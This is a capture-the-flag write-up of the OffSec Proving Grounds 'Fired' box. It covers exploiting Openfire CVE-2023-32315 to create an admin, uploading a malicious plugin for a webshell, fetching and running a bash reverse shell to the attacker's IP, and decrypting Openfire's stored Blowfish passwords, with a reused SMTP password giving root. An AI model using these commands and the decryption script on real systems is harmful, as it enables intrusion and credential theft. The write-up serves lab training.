OffSec Proving Grounds Fired Writeup
CVE-2023-32315 creates an Openfire admin, a malicious plugin gives a shell, and the SMTP password stored in openfire.script turns out to be root's password.
Summary
Fired runs Openfire on port 9090, which is vulnerable to CVE-2023-32315, a path traversal in the admin console that lets an unauthenticated request reach the setup pages. A public proof of concept uses it to create the account hugme, and logging in with that account allows the well known management tool plugin to be uploaded, giving a webshell that runs as the openfire service user. From there /var/lib/openfire/embedded-db/openfire.script holds the whole configuration, including the administrator’s encrypted password and the passwordKey it was encrypted with, which a small Blowfish script decrypts. That admin password turns out to be useless. The same file also stores an SMTP configuration for a mail server that is not even listening, and its mail.smtp.password is the password for the root account on the box.
Initial Access -
I use a public proof of concept script to create a new admin user to the openfire instance:
1
python3 exploit.py -u http://192.168.150.96:9090
You can see it worked from the screenshot below:
With that, new credentials:
1
2
Username: hugme
Password: HugmeNOW
I log in to the openfire admin panel. With this level of access, I can upload a malicious plugin. Steps are:
Tab plugin > upload plugin
openfire-management-tool-plugin.jarTab server > server settings > Management tool
Access webshell with password “123”
As you can see from the screenshot below, I can execute system commands as system user “openfire”:
To get a reverse shell, I create “shell.sh” locally:
1
sh -i >& /dev/tcp/192.168.45.246/443 0>&1
Then spin up a python web server and use the webshell to download my shell to the system:
1
curl 192.168.45.246/shell.sh -o /dev/shm/shell.sh
Then start a netcat listener on port 443 and run the shell using the webshell:
1
/dev/shm/shell.sh
Vertical Privilege Escalation - Exposed Credentials
I go to /var/lib/openfire/embedded-db/ and get my hands on openfire.script. This script has the default admin in it:
1
INSERT INTO OFUSER VALUES('admin','6jmt6vI3cX8BhPXACt7iIBDmnnk=','sEU7/ff4Xd8fOsyjGDfihEhWcmU=','PhvPjr5SE6pjsLlK5nP0/e7mdVKZ+zvr',4096,NULL,'a52a48e57def1a851c91e768042c5bf6078a0cac311d03fd47de71e23bdef5062cbb6f8d836d718d','Administrator','admin@example.com','001719558153170','0')
I can use a python script to decrypt this password. It’s a very simple script, it looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA1
from Crypto.Util.Padding import unpad
import binascii
import sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} encryptedPassword passwordKey")
sys.exit(1)
def decrypt_openfirepass(ciphertext, key):
sha1_key = SHA1.new(key.encode('utf-8')).digest()
ciphertext_bytes = binascii.unhexlify(ciphertext)
block_size = Blowfish.block_size
iv = ciphertext_bytes[:block_size]
ciphertext_data = ciphertext_bytes[block_size:]
cipher = Blowfish.new(sha1_key, Blowfish.MODE_CBC, iv)
plaintext_padded = cipher.decrypt(ciphertext_data)
plaintext = unpad(plaintext_padded, block_size)
return plaintext.decode('utf-8')
print(f"Decrypted password: {decrypt_openfirepass(sys.argv[1], sys.argv[2])}")
The password key value is also in the openfire.script file:
1
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)
I run the decryptor with the information obtained from the database:
1
2
$ python3 decrypter.py a52a48e57def1a851c91e768042c5bf6078a0cac311d03fd47de71e23bdef5062cbb6f8d836d718d EOAJUe2Sqdlfqjk
Decrypted password: PwnThePlanet@99
With that, new credentials:
1
2
Username: admin
Password: PwnThePlanet@99
But this password is completely useless, lol. They say the smtp server was configured but SMTP is not even available on the box LOL:
1
2
3
4
5
6
7
INSERT INTO OFPROPERTY VALUES('mail.configured','true',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.debug','false',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.host','localhost',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.port','25',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.ssl','false',0,NULL)
INSERT INTO OFPROPERTY VALUES('mail.smtp.username','root',0,NULL)
The password for the non-existing SMTP is the password you use to log in to the machine as root, for some stupid fucking reason. I found the openfire.script file, and yet missed the smtp configuration entirely, since I had previously enumerated open ports and saw no reference at all to smtp.
References
https://github.com/z3rObyte/openfire-password-decrypter


